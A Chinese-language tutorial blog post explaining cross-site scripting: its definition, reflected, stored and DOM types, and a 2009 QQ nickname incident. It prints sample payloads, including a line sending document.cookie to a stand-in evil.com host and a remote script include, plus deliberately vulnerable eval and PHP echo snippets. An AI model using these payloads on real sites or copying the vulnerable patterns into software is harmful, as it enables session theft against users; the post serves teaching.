深入理解xss攻击
Posted 山西软件小课堂
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了深入理解xss攻击相关的知识,希望对你有一定的参考价值。
1. XSS概述
XSS跨站脚本,发生在目标网站中目标用户的浏览器层面上,当用户浏览器重染整个html文档的过程中出现了不被预期的脚本指令并执行时,XSS就发生了
这句话的关键点有以下三个:
i. 目标网站的目标用户:这里强调了场景
ii. 浏览器:因为这类攻击是由浏览器来解析的。
iii. 不被预期:那么就很可能是攻击者在输入时提交了可控的脚本内容,然后在输出后被浏览器解析执行。
2. 跨站脚本,重要的是脚本
跨站脚本,重点是在脚本上而不是跨站。跨站属于浏览器的特性,而不是缺陷。大多数的XSS攻击都会采用嵌入一段远程或者第三方域上的脚本资源:
<script src=http://www.evil.com/xss.js></script>
这样做的好处:攻击代码容易控制。Xss.js的内容中本域的上下文内容一样,这样就很容易盗取或串改用户网站的内容了。就是:人在你那里,但是心在我这里,战场就在我这里。
这种情况并不是按照浏览器允许的同源策略执行,那这就是真正意义上的跨站了。为了区分,所以我们叫它跨域脚本,突破的就是浏览器同源策略。
3. 一个小例子
<script>
eval(location.hash.substr(1))
</script>
www.test.com/xssme.html#alert(1)
这样最终就会执行alert(1)
这种的没有杀伤力,我们来点有杀伤力的。比如以下:
www.test.com/xssme.html#document.write(‘<scriptsrc=”wwww.evil.com/alert.js”/>’)
这样我们就可以在alert.js里面做很多恶意的事了,比如盗取用户cookie
new Image().src=http://www.evil.com/steal.php?data=+ escape(document.cookie)
这就是为什么不让用evil,不安全而且性能低。
当然啦,现在有些浏览器已经有了防御,比如chrome,但还有很多没有。
总之,xss总结为:想尽一切方法将你的内容在目标网站的目标用户的浏览器上解析执行。
4. XSS类型
XSS有三种类型:反射型XSS(也叫非持久型XSS)、存储型XSS(也叫持久型XSS)、DOMXSS
反射型XSS:XSS代码出现在url中,作为输入提交到服务器,服用器端解析响应后,以响应内容出现在浏览器中执行解析。这个过程就像一次反射。
举个栗子:
http://www.foo.com/xss/reflect.php?x=<script>alert(1)</script>
服务器端
<?php
echo $_GET[‘x’]
?>
存储型XSS:它与反射型的区别是,服务器是否会存储xss代码,下次请求时就不用再提交xss代码了。
最典型的例子是留言板:xss提交数据到数据库,目标用户查看留言板时,恶意代码就会解析执行,触发xss
DOMXSS:它并不需要服务器直接参与解析响应,触发XSS完全靠的是浏览器的dom解析,是客户端的事。
<script>
eval(location.hash.substr(1))
</script>
通过在url hash值传入并执行一段js.
5. 哪里会出现XSS
现在js使用范围很广,客户端、播放器,包括node.js原生v8引擎,mogoDB文档型数据库它们都支持js。
2009年时QQ出现过一次XSS攻击,昵称修改为:
<iframe x=’发送一条这样的消息给被攻击者:’src=’http:\%62aidu.com’y=’>当被攻击者查看聊天记录时,触发以上代码。
实现是:http://替换成http://,域名的第一个字符必须为urlencode。如上格式 ,使用符号,达到了在ie内核环境下的引号作用。所以这个安全威胁不能忽略。
以上是关于深入理解xss攻击的主要内容,如果未能解决你的问题,请参考以下文章